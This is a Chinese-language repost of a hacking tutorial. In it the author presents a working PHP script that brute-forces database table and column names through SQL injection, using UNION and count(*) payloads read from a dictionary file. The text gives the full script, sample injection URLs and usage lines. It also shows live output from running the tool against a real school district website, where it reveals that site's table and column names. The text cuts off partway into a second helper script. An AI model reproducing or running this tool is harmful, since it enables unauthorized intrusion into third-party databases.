程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 網頁編程 >> PHP編程 >> 關於PHP編程 >> do all things in php(注入利用程序編寫)

do all things in php(注入利用程序編寫)

編輯:關於PHP編程

文章作者:mika[EST]
信息來源:邪惡八進制信息安全團隊

最近俺又迷戀上腳本了,嘿嘿~~~剛學完PHP然後又看了些PHP安全方面的文章,於是乎從google中找了幾個站練習一下。
結果發現php猜表名和列名真的很費勁啊,nbsi這類的掃描工具有沒有那種用字典或者暴力猜解表名和列名的功能,難不成還得自己一個一個猜啊?我很懶的:-)
突然想到自己不是剛剛學完PHP嗎?為什麼不學以致用呢?php不光是一個web腳本語言,它還是一個非常棒的命令行解釋語言,用它寫腳本好方便的哦。為了以後能夠碰到這類問題省點勁俺就寫了一個php腳本用來猜表和列名的。腳本寫的很簡單,內容如下:
 <?php
 echo " Universal Database tables explode exploit V0.1 ";
 echo " Written by Mika[EST] ";
 //$keyword="Warning";
 $keyword="error";
 switch($argc){
 case 3:
 $u=" and (select count(*) from MIKA_NAME)>0";
 $dic=$argv[2];
 break;
 case 4:
 $u=" and 1=1 union select ".implode(,,range(1,$argv[2]))." from MIKA_NAME#";
 $dic=$argv[3];
 break;
 case 5:
 if($argv[2]!="-t")
 exit("arguments Error");
 $u=" and (select count(MIKA_NAME) from $argv[3])>0#";
 $dic=$argv[4];
 break;
 case 6:
 if($argv[2]!="-t" || $argv[4]<1)
 exit("arguments Error");
 if($argv[4]>=2){
 $u=" and 1=1 union select ".MIKA_NAME.,.implode(,,range(2,$argv[4]))." from $argv[3]#";
 }else{
 $u=" and 1=1 union select MIKA_NAME from $argv[3]#";
 }
 $dic=$argv[5];
 break;
 default:
 echo <<<USAGE
 Usage:$argv[0] <URL> [OPTIONS] <dict file>
 OPTIONS: number --->to indicate column number of a table during a union query

 e.g:$argv[0] [url]http://www.aaa.com/bbb.asp?ccc=56[/url] 3 mydict.txt

 the url will be like:.../bbb.asp?ccc=56 and 1=2 union select 1,2,3 from admin

 OPTIONS: -t <table> [number] ---> to explode column name of the <table>

 e.g:$argv[0] [url]http://www.aaa.com/bbb.asp?ccc=56[/url] -t admin mydict.txt

 Attention:if you dont use [options] the program will use default mode to work.you can change it in the source code of this program.
 USAGE;
 die;
 }

 $old=$argv[1];
 file_exists($dic) or exit("dic file does not exist! ");
 $words=file($dic);
 $curl=curl_init();
 curl_setopt($curl,CURLOPT_HEADER,0);
 curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
 curl_setopt($curl,CURLOPT_PROXY,"127.0.0.1:8080");
 print "[+]Searching What you want... ";
 foreach($words as $word){
 //print $word;
 if(preg_match("/^s$/",$word)){
 //print "blank";
 continue;
 }
 $url=str_replace(MIKA_NAME,trim($word),$u);
 $url=$old.urlencode($url);
 //$url=$old.$url;
 curl_setopt($curl,CURLOPT_URL,$url);
 //print "source url is:".$url." ";
 $content=curl_exec($curl);
 //$new=$content;
 //print $content;
 if(preg_match("/$keyword/i",$content)==0){
 print "[*] FOUND:".trim($word);
 }
 else{print ".";}
 }
 ?>
俺先解釋一下吧:程序裡用到的模塊是curl,它用來獲取網頁內容是非常方便的。我的這個php是for windows的,所以裡面集成了很多的模塊。但是curl默認是不啟用的,你需要開啟它哦。方法很簡單,去網上下載php最新版本的綠色版(不需要安裝的,方便攜帶),然後將壓縮包內的php.ini-recommended復制到系統目錄(win2k是winnt目錄,xp等的是windows目錄)並將其改名為php.ini,然後用記事本打開,找到如下一行:
extension_dir =
把它的值設置成你自己的,比如把壓縮包接壓到了c:php裡,那麼你需要把它設置成:
extension_dir = "c:phpext"

然後再繼續找到下面這段:
 ; Windows Extensions
 ; Note that ODBC support is built in, so no dll is needed for it.
 ; Note that many DLL files are located in the extensions/ (PHP 4) ext/ (PHP 5)
 ; extension folders as well as the separate PECL DLL download (PHP 5).
 ; Be sure to appropriately set the extension_dir directive.

 ;extension=php_mbstring.dll
 ;extension=php_bz2.dll
 ;extension=php_curl.dll
 ;extension=php_dba.dll
 ;extension=php_dbase.dll
 ;extension=php_exif.dll
 ;extension=php_fdf.dll
 ;extension=php_filepro.dll
 ;extension=php_gd2.dll
 ;extension=php_gettext.dll
 ;extension=php_ifx.dll
看到php_curl.dll了嗎?把它前面的分號去掉就可以了。然後保存一下,還沒完呢,再去php的目錄裡找到這兩個文件:
libeay32.dll
ssleay32.dll

把他們復制到system32目錄裡就OK了。很簡單吧?然後在環境變量裡設置一下你的php的路徑,這樣在任何目錄裡就可以直接調用php.exe進行解析了。安裝其它模塊的步驟也類似,俺就不多說了:-)

言歸正傳,你通過上面幾步就可以使用curl模塊了。程序用法很簡單,比如有注入的url是這樣的:http://www.aaa.com/bbb.asp?ccc=56,你的字典文件在當前目錄mydict.txt。那麼本程序的使用方法就是:
php explode.php http://www.aaa.com/bbb.asp?ccc=56 mydict.txt

需要注意的就是,由於這個程序本來就是俺自己用的,所以程序沒有考慮很多東西。程序是根據頁面返回的內容進行判斷的,所以呢,你要首先自己手工獲取一下,比如你可以這樣:
http://www.aaa.com/bbb.asp?ccc=56 and (select count(*) from mika520)>0(access和mssql上)
或者
http://www.aaa.com/bbb.asp?ccc=56 and 1=1 union select 1,2,3,4,5,6 from mika520%23 (mysql上)

其中的mika520是一個不存在的表,這樣返回的頁面後你可以察看源代碼,隨便找一個正確頁面中不存在的語句作為關鍵字(nbsi等的注入工具默認是用正確頁面裡的東西作為判斷的,俺和它反著來:-),然後把程序代碼中第4行的$keyword的值換成你的關鍵字就可以了。比如下面這個站吧:
http://www.elkhart.k12.in.us/content.php?id=157

由於是php的所以你得用第二種方式來猜,即需要使用聯合查詢,所以先判斷注入點存在不存在,然後使用order by判斷字段數,我在這裡判斷的是5個字段,判斷好後就可以使用我的這個程序來猜了,結果如下:
 F:scriptsphpmine>php forcetb1.php http://www.elkhart.k12.in.us/content.php?id
 =157 5 mydict.txt
 Universal Database tables explode exploit V0.1

 Written by Mika[EST]

 [+]Searching What you want...
 ...[*] FOUND:structure..........................................................
看到了嗎?找到了一個表,呵呵。再來看看字段:
 F:scriptsphpmine>php forcetb1.php http://www.elkhart.k12.in.us/content.php?id
 =157 -t structure 5 temp.txt
 Universal Database tables explode exploit V0.1

 Written by Mika[EST]

 [+]Searching What you want...
 [*] FOUND:division......[*] FOUND:id.[*] FOUND:level.........[*] FOUND:title....
 ..[*] FOUND:content..[*] FOUND:parent_id.........
很簡單吧?命令中的那個5就是你用order by猜出的字段數,換成實際中的就可以了。如果是access或者mssql的數據庫,只要去掉那個字段數(即例子中的5)的參數就可以了。我就不多做演示了。

如果大家用得過程中出現問題可以自己去改代碼,很簡單的:-)

另外我這個程序默認是使用HTTP代理的,所以你需要修改這一行:
curl_setopt($curl,CURLOPT_PROXY,"127.0.0.1:8080");

換成你的代理就好了,如果不需要代理那就直接注釋掉好了。

其實猜嘛,關鍵還是看你的字典是不是夠強大,你可以把你常見的字典組合一下就好了。比如NBSI和狂注幽靈等的字典拿過來,然後組成一個文件就是了。但是這兩個字典有可能有很多重復的,為了節省不必要的猜解,需要去處重復的。我這裡用php寫了非常簡單的程序可以幫助你去除重復行,如下:
 <?php

 if($argc!=2){
 echo <<<INFO
  Writte

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved